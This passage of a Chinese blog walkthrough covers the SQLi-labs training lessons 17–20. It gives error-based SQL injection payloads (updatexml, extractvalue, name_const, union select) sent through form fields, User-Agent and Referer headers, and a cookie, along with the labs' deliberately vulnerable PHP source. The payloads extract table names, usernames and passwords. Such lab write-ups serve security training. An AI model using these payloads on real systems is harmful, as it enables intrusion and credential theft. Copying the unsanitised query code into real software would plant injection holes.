[plain]  view plain  copy
  1. uname=admin&passwd=1' or (select * from (select(name_const((select group_concat(table_name) from information_schema.tables where table_schema='security'),1)),name_const((select group_concat(table_name) from information_schema.tables where table_schema='security'),1))a)  

总的来说,对于update,insert和delete都有一个固定的结构:... or (select * from(select name_const((select ...),1),name_const((select...),1))a) ...

3、通过updatexml():payload:updatexml(1,concat(0x7e,(version())),0)

updatexml(xml_target,xpath_expr,new_xml)函数:

第一个参数是 目标xml
第二个参数是 xpath的表达式,这个看w3c那个xpath教程
第三个参数是 要将xpath的表达式的东西将目标xml替换成什么

xpath教程看这  http://www.w3school.com.cn/xpath/

xml_target和new_xml参数随便设定一个数就行,这里主要让他报错

首先获取数据库名:
[plain]  view plain  copy
  1. <span style="font-size:18px;">uname=admin&passwd=' or updatexml(1,concat(0x7e,concat(database()),0x7e),1)#</span>  

获取表名:
[plain]  view plain  copy
  1. <span style="font-size:18px;">uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#</span>  

获取字段名:
[plain]  view plain  copy
  1. uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#  


获取用户信息,当然这里也失败了:
[plain]  view plain  copy
  1. uname=admin&passwd=' or updatexml(1,concat(0x7e,(select * from(select concat_ws(char(32,44,32),id,username,password) from users limit 0,1)a),0x7e),0)#  


[plain]  view plain  copy
  1. INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(  
  2. select b.n from (select concat_ws(char(32,44,32),id,username,password) n from users u where u.id=1)b  
  3. )),0) or'', 'Nervo');  


4、通过extractvalue():

extractvalue(xml,value)函数也是MYSQL5.1以后推出的对XML文档数据进行查询和修改的XPATH函数,注入时第一个参数随便给一个数字。 直接上payload:
[plain]  view plain  copy
  1. uname=admin&passwd=' or extractvalue(1,concat(0x7e,(select * from(select concat_ws(char(32,44,32),id,username,password) from users limit 0,1)a),0x7e))%23  


Less-18基于错误的用户代理,头部POST注入

先打开网页查看 Welcome Dhakkan


②查看源码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-18 Header Injection- Error Based- string</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9.   
  10. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome   <font color="#FF0000"> Dhakkan </font><br></div>  
  11. <div  align="center" style="margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;">  
  12. <div style="padding-top:10px; font-size:15px;">  
  13.    
  14.   
  15. <!--Form to post the contents -->  
  16. <form action="" name="form1" method="post">  
  17.   
  18.   <div style="margin-top:15px; height:30px;">Username :      
  19.     <input type="text"  name="uname" value=""/>  </div>  
  20.     
  21.   <div> Password :      
  22.     <input type="text" name="passwd" value=""/></div></br>  
  23.     <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>  
  24. </form>  
  25. </div>  
  26. </div>  
  27. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">  
  28. <font size="3" color="#FFFF00">  
  29.   
  30.   
  31.   
  32. <?php  
  33. //including the Mysql connect parameters.  
  34. include("../sql-connections/sql-connect.php");  
  35. error_reporting(0);  
  36.       
  37. function check_input($value)  
  38.     {  
  39.     if(!empty($value))  
  40.         {  
  41.         // truncation (see comments)  
  42.         $value = substr($value,0,20);  
  43.         }  
  44.   
  45.         // Stripslashes if magic quotes enabled  
  46.         if (get_magic_quotes_gpc())  
  47.             {  
  48.             $value = stripslashes($value);  
  49.             }  
  50.   
  51.         // Quote if not a number  
  52.         if (!ctype_digit($value))  
  53.             {  
  54.             $value = "'" . mysql_real_escape_string($value) . "'";  
  55.             }  
  56.           
  57.     else  
  58.         {  
  59.         $value = intval($value);  
  60.         }  
  61.     return $value;  
  62.     }  
  63.   
  64.   
  65.   
  66.     $uagent = $_SERVER['HTTP_USER_AGENT'];  
  67.     $IP = $_SERVER['REMOTE_ADDR'];  
  68.     echo "<br>";  
  69.     echo 'Your IP ADDRESS is: ' .$IP;  
  70.     echo "<br>";  
  71.     //echo 'Your User Agent is: ' .$uagent;  
  72. // take the variables  
  73. if(isset($_POST['uname']) && isset($_POST['passwd']))  
  74.   
  75.     {  
  76.     $uname = check_input($_POST['uname']);  
  77.     $passwd = check_input($_POST['passwd']);  
  78.       
  79.     /*  
  80.     echo 'Your Your User name:'. $uname;  
  81.     echo "<br>";  
  82.     echo 'Your Password:'. $passwd;  
  83.     echo "<br>";  
  84.     echo 'Your User Agent String:'. $uagent;  
  85.     echo "<br>";  
  86.     echo 'Your User Agent String:'. $IP;  
  87.     */  
  88.   
  89.     //logging the connection parameters to a file for analysis.   
  90.     $fp=fopen('result.txt','a');  
  91.     fwrite($fp,'User Agent:'.$uname."\n");  
  92.       
  93.     fclose($fp);  
  94.       
  95.       
  96.       
  97.     $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";  
  98.     $result1 = mysql_query($sql);  
  99.     $row1 = mysql_fetch_array($result1);  
  100.         if($row1)  
  101.             {  
  102.             echo '<font color= "#FFFF00" font size = 3 >';  
  103.             $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";  
  104.             mysql_query($insert);  
  105.             //echo 'Your IP ADDRESS is: ' .$IP;  
  106.             echo "</font>";  
  107.             //echo "<br>";  
  108.             echo '<font color= "#0000ff" font size = 3 >';              
  109.             echo 'Your User Agent is: ' .$uagent;  
  110.             echo "</font>";  
  111.             echo "<br>";  
  112.             print_r(mysql_error());           
  113.             echo "<br><br>";  
  114.             echo '<img src="../images/flag.jpg"  />';  
  115.             echo "<br>";  
  116.               
  117.             }  
  118.         else  
  119.             {  
  120.             echo '<font color= "#0000ff" font size="3">';  
  121.             //echo "Try again looser";  
  122.             print_r(mysql_error());  
  123.             echo "</br>";           
  124.             echo "</br>";  
  125.             echo '<img src="../images/slap.jpg"   />';      
  126.             echo "</font>";    
  127.             }  
  128.   
  129.     }  
  130.   
  131. ?>  
  132.   
  133.   
  134. </font>  
  135. </div>  
  136. </body>  
  137. </html>  

对uname和passwd进行了check_input()函数的处理,所以我们在输入uname和passwd上进行注入是不行的,但

是在代码中,我们看到了insert()

[plain]  view plain  copy
  1. $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";  

将useragent和ip插入到数据库中,那么我们是不是可以用这个来进行注入呢?Ip地址我们这里修改不是很方便,但是useragent修改较为方便,我们从useragent入手。


那么用什么工具手注呢,burp的repeater非常方便,用火狐的某些插件应该也可以如live http headers,tamper data,下面我用 burp suite 来演示


首先这里要输入正确的账号和密码才能绕过账号密码判断,进入处理uagent部分,这里跟我们现实中的注册登录再注入是比较贴合,这里我们输入正确的账号密码就输出我们的uagent

接下来,利用 Burp suite 抓包改包,获取数据库名称,有很多种方式,构建语句:
[plain]  view plain  copy
  1. ' or updatexml(1,concat(0x2b5e,database()),0) or '  
  2. ‘and extractvalue(1,concat(0x7e,(database())) and ‘1‘=‘1  

就不按步骤来了,直接获取用户名和密码信息:
[plain]  view plain  copy
  1. ' or updatexml(1,concat(0x2b5e,(select concat_ws(0x2b5e,id,username,password) from users limit 0,1)),0) or '  



Less-19基于头部的Referer POST报错

先打开网页查看 Welcome Dhakkan


②查看源代码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-19 Header Injection- Referer- Error Based- string</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9.   
  10. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome   <font color="#FF0000"> Dhakkan </font><br></div>  
  11. <div  align="center" style="margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;">  
  12. <div style="padding-top:10px; font-size:15px;">  
  13.    
  14.   
  15. <!--Form to post the contents -->  
  16. <form action="" name="form1" method="post">  
  17.   
  18.   <div style="margin-top:15px; height:30px;">Username :      
  19.     <input type="text"  name="uname" value=""/>  </div>  
  20.     
  21.   <div> Password :      
  22.     <input type="text" name="passwd" value=""/></div></br>  
  23.     <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>  
  24. </form>  
  25. </div>  
  26. </div>  
  27. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">  
  28. <font size="3" color="#FFFF00">  
  29.   
  30.   
  31.   
  32. <?php  
  33. //including the Mysql connect parameters.  
  34. include("../sql-connections/sql-connect.php");  
  35. error_reporting(0);  
  36.       
  37. function check_input($value)  
  38.     {  
  39.     if(!empty($value))  
  40.         {  
  41.         // truncation (see comments)  
  42.         $value = substr($value,0,20);  
  43.         }  
  44.   
  45.         // Stripslashes if magic quotes enabled  
  46.         if (get_magic_quotes_gpc())  
  47.             {  
  48.             $value = stripslashes($value);  
  49.             }  
  50.   
  51.         // Quote if not a number  
  52.         if (!ctype_digit($value))  
  53.             {  
  54.             $value = "'" . mysql_real_escape_string($value) . "'";  
  55.             }  
  56.           
  57.     else  
  58.         {  
  59.         $value = intval($value);  
  60.         }  
  61.     return $value;  
  62.     }  
  63.   
  64.   
  65.   
  66.     $uagent = $_SERVER['HTTP_REFERER'];  
  67.     $IP = $_SERVER['REMOTE_ADDR'];  
  68.     echo "<br>";  
  69.     echo 'Your IP ADDRESS is: ' .$IP;  
  70.     echo "<br>";  
  71.     //echo 'Your User Agent is: ' .$uagent;  
  72. // take the variables  
  73. if(isset($_POST['uname']) && isset($_POST['passwd']))  
  74.   
  75.     {  
  76.     $uname = check_input($_POST['uname']);  
  77.     $passwd = check_input($_POST['passwd']);  
  78.       
  79.     /*  
  80.     echo 'Your Your User name:'. $uname;  
  81.     echo "<br>";  
  82.     echo 'Your Password:'. $passwd;  
  83.     echo "<br>";  
  84.     echo 'Your User Agent String:'. $uagent;  
  85.     echo "<br>";  
  86.     echo 'Your User Agent String:'. $IP;  
  87.     */  
  88.   
  89.     //logging the connection parameters to a file for analysis.   
  90.     $fp=fopen('result.txt','a');  
  91.     fwrite($fp,'Referer:'.$uname."\n");  
  92.       
  93.     fclose($fp);  
  94.       
  95.       
  96.       
  97.     $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";  
  98.     $result1 = mysql_query($sql);  
  99.     $row1 = mysql_fetch_array($result1);  
  100.         if($row1)  
  101.             {  
  102.             echo '<font color= "#FFFF00" font size = 3 >';  
  103.             $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";  
  104.             mysql_query($insert);  
  105.             //echo 'Your IP ADDRESS is: ' .$IP;  
  106.             echo "</font>";  
  107.             //echo "<br>";  
  108.             echo '<font color= "#0000ff" font size = 3 >';              
  109.             echo 'Your Referer is: ' .$uagent;  
  110.             echo "</font>";  
  111.             echo "<br>";  
  112.             print_r(mysql_error());           
  113.             echo "<br><br>";  
  114.             echo '<img src="../images/flag.jpg" />';  
  115.             echo "<br>";  
  116.               
  117.             }  
  118.         else  
  119.             {  
  120.             echo '<font color= "#0000ff" font size="3">';  
  121.             //echo "Try again looser";  
  122.             print_r(mysql_error());  
  123.             echo "</br>";           
  124.             echo "</br>";  
  125.             echo '<img src="../images/slap.jpg"  />';   
  126.             echo "</font>";    
  127.             }  
  128.   
  129.     }  
  130.   
  131. ?>  
  132.   
  133.   
  134. </font>  
  135. </div>  
  136. </body>  
  137. </html>  

从源代码中我们可以看到我们获取到的是HTTP_REFERER,那和less18是基本一致的,我们从referer进行修改

要获取用户名和密码的话,和之前是一样的
[plain]  view plain  copy
  1. ' or updatexml(1,concat(0x2b5e,(select concat_ws(char(32,44,32),id,username,password) from users limit 0,1)),1) or'  

不过这次我们使用另一个函数,

EXTRACTVALUE (XML_document, XPath_string); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串). 
作用:从目标XML中返回包含所查询值的字符串

[plain]  view plain  copy
  1. ' or extractvalue(1,concat(0x2b5e,(select concat_ws(char(32,44,32),id,username,password) from users limit 0,1))) or'  

返回的结果是一样的,这里就不贴图了。


Less-20基于错误的cookie头部POST注入

先打开网页查看 Welcome Dhakkan


②查看源码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5.   
  6. <title>Less-20 Cookie Injection- Error Based- string</title>  
  7. </head>  
  8.   
  9. <body bgcolor="#000000">  
  10. <?php  
  11. //including the Mysql connect parameters.  
  12.     include("../sql-connections/sql-connect.php");  
  13.     error_reporting(0);  
  14. if(!isset($_COOKIE['uname']))  
  15.     {  
  16.     //including the Mysql connect parameters.  
  17.     include("../sql-connections/sql-connect.php");  
  18.   
  19.     echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome   <font color='#FF0000'> Dhakkan </font><br></div>";  
  20.     echo "<div  align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";  
  21.     echo "<div style='padding-top:10px; font-size:15px;'>";  
  22.    
  23.   
  24.     echo "<!--Form to post the contents -->";  
  25.     echo '<form action=" " name="form1" method="post">';  
  26.   
  27.     echo ' <div style="margin-top:15px; height:30px;">Username :    ';  
  28.     echo '   <input type="text"  name="uname" value=""/>  </div>';  
  29.     
  30.     echo ' <div> Password :      ';  
  31.     echo '   <input type="text" name="passwd" value=""/></div></br>';   
  32.     echo '   <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';  
  33.   
  34.     echo '</form>';  
  35.     echo '</div>';  
  36.     echo '</div>';  
  37.     echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';  
  38.     echo '<font size="3" color="#FFFF00">';  
  39.     echo '<center><br><br><br>';  
  40.     echo '<img src="../images/Less-20.jpg" />';  
  41.     echo '</center>';  
  42.   
  43.   
  44.   
  45.   
  46.       
  47. function check_input($value)  
  48.     {  
  49.     if(!empty($value))  
  50.         {  
  51.         $value = substr($value,0,20); // truncation (see comments)  
  52.         }  
  53.         if (get_magic_quotes_gpc())  // Stripslashes if magic quotes enabled  
  54.             {  
  55.             $value = stripslashes($value);  
  56.             }  
  57.         if (!ctype_digit($value))       // Quote if not a number  
  58.             {  
  59.             $value = "'" . mysql_real_escape_string($value) . "'";  
  60.             }  
  61.     else  
  62.         {  
  63.         $value = intval($value);  
  64.         }  
  65.     return $value;  
  66.     }  
  67.   
  68.   
  69.       
  70.     echo "<br>";  
  71.     echo "<br>";  
  72.       
  73.     if(isset($_POST['uname']) && isset($_POST['passwd']))  
  74.         {  
  75.       
  76.         $uname = check_input($_POST['uname']);  
  77.         $passwd = check_input($_POST['passwd']);  
  78.           
  79.       
  80.   
  81.           
  82.         $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";  
  83.         $result1 = mysql_query($sql);  
  84.         $row1 = mysql_fetch_array($result1);  
  85.         $cookee = $row1['username'];  
  86.             if($row1)  
  87.                 {  
  88.                 echo '<font color= "#FFFF00" font size = 3 >';  
  89.                 setcookie('uname', $cookee, time()+3600);     
  90.                 header ('Location: index.php');  
  91.                 echo "I LOVE YOU COOKIES";  
  92.                 echo "</font>";  
  93.                 echo '<font color= "#0000ff" font size = 3 >';              
  94.                 //echo 'Your Cookie is: ' .$cookee;  
  95.                 echo "</font>";  
  96.                 echo "<br>";  
  97.                 print_r(mysql_error());           
  98.                 echo "<br><br>";  
  99.                 echo '<img src="../images/flag.jpg" />';  
  100.                 echo "<br>";  
  101.                 }  
  102.             else  
  103.                 {  
  104.                 echo '<font color= "#0000ff" font size="3">';  
  105.                 //echo "Try again looser";  
  106.                 print_r(mysql_error());  
  107.                 echo "</br>";           
  108.                 echo "</br>";  
  109.                 echo '<img src="../images/slap.jpg" />';    
  110.                 echo "</font>";    
  111.                 }  
  112.             }  
  113.           
  114.             echo "</font>";    
  115.     echo '</font>';  
  116.     echo '</div>';  
  117.   
  118. }  
  119. else  
  120. {  
  121.   
  122.   
  123.   
  124.     if(!isset($_POST['submit']))  
  125.         {  
  126.               
  127.             $cookee = $_COOKIE['uname'];  
  128.             $format = 'D d M Y - H:i:s';  
  129.             $timestamp = time() + 3600;  
  130.             echo "<center>";  
  131.             echo '<br><br><br>';  
  132.             echo '<img src="../images/Less-20.jpg" />';  
  133.             echo "<br><br><b>";  
  134.             echo '<br><font color= "red" font size="4">';     
  135.             echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];  
  136.             echo "</font><br>";   
  137.             echo '<font color= "cyan" font size="4">';      
  138.             echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];             
  139.             echo "</font><br>";           
  140.             echo '<font color= "#FFFF00" font size = 4 >';  
  141.             echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";  
  142.             echo '<font color= "orange" font size = 5 >';           
  143.             echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);  
  144.               
  145.               
  146.             echo "<br></font>";  
  147.             $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";  
  148.             $result=mysql_query($sql);  
  149.             if (!$result)  
  150.                 {  
  151.                 die('Issue with your mysql: ' . mysql_error());  
  152.                 }  
  153.             $row = mysql_fetch_array($result);  
  154.             if($row)  
  155.                 {  
  156.                 echo '<font color= "pink" font size="5">';      
  157.                 echo 'Your Login name:'. $row['username'];  
  158.                 echo "<br>";  
  159.                 echo '<font color= "grey" font size="5">';      
  160.                 echo 'Your Password:' .$row['password'];  
  161.                 echo "</font></b>";  
  162.                 echo "<br>";  
  163.                 echo 'Your ID:' .$row['id'];  
  164.                 }  
  165.             else      
  166.                 {  
  167.                 echo "<center>";  
  168.                 echo '<br><br><br>';  
  169.                 echo '<img src="../images/slap1.jpg" />';  
  170.                 echo "<br><br><b>";  
  171.                 //echo '<img src="../images/Less-20.jpg" />';  
  172.                 }  
  173.             echo '<center>';  
  174.             echo '<form action="" method="post">';  
  175.             echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';  
  176.             echo '</form>';  
  177.             echo '</center>';  
  178.         }     
  179.     else  
  180.         {  
  181.         echo '<center>';  
  182.         echo "<br>";  
  183.         echo "<br>";  
  184.         echo "<br>";  
  185.         echo "<br>";  
  186.         echo "<br>";  
  187.         echo "<br>";  
  188.         echo '<font color= "#FFFF00" font size = 6 >';  
  189.         echo " Your Cookie is deleted";  
  190.                 setcookie('uname', $row1['username'], time()-3600);  
  191.                 header ('Location: index.php');  
  192.         echo '</font></center></br>';  
  193.           
  194.         }         
  195.   
  196.   
  197.             echo "<br>";  
  198.             echo "<br>";  
  199.             //header ('Location: main.php');  
  200.             echo "<br>";  
  201.             echo "<br>";  
  202.               
  203.             //echo '<img src="../images/slap.jpg" /></center>';  
  204.             //logging the connection parameters to a file for analysis.   
  205.         $fp=fopen('result.txt','a');  
  206.         fwrite($fp,'Cookie:'.$cookee."\n");  
  207.       
  208.         fclose($fp);  
  209.       
  210. }  
  211. ?>  
  212.   
  213. </body>  
  214. </html>  


分析代码,首先判断有无cookie,没有的话,查询出来再设置cookie,若cookie存在,又分两种情况:

第一种情况,你登陆过,cookie还有效,你没按删除cookie的按钮,那么他就输出各种信息,包括删除cookie的按钮

第二种情况,你按了删除cookie的按钮,后台就把cookie的时间设置为过期的时间,那么cookie就被删除了

关键代码:
[plain]  view plain  copy
  1. $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";  

那么久不废话了,一次性搞定吧
[plain]  view plain  copy
  1. -admin' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+  

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值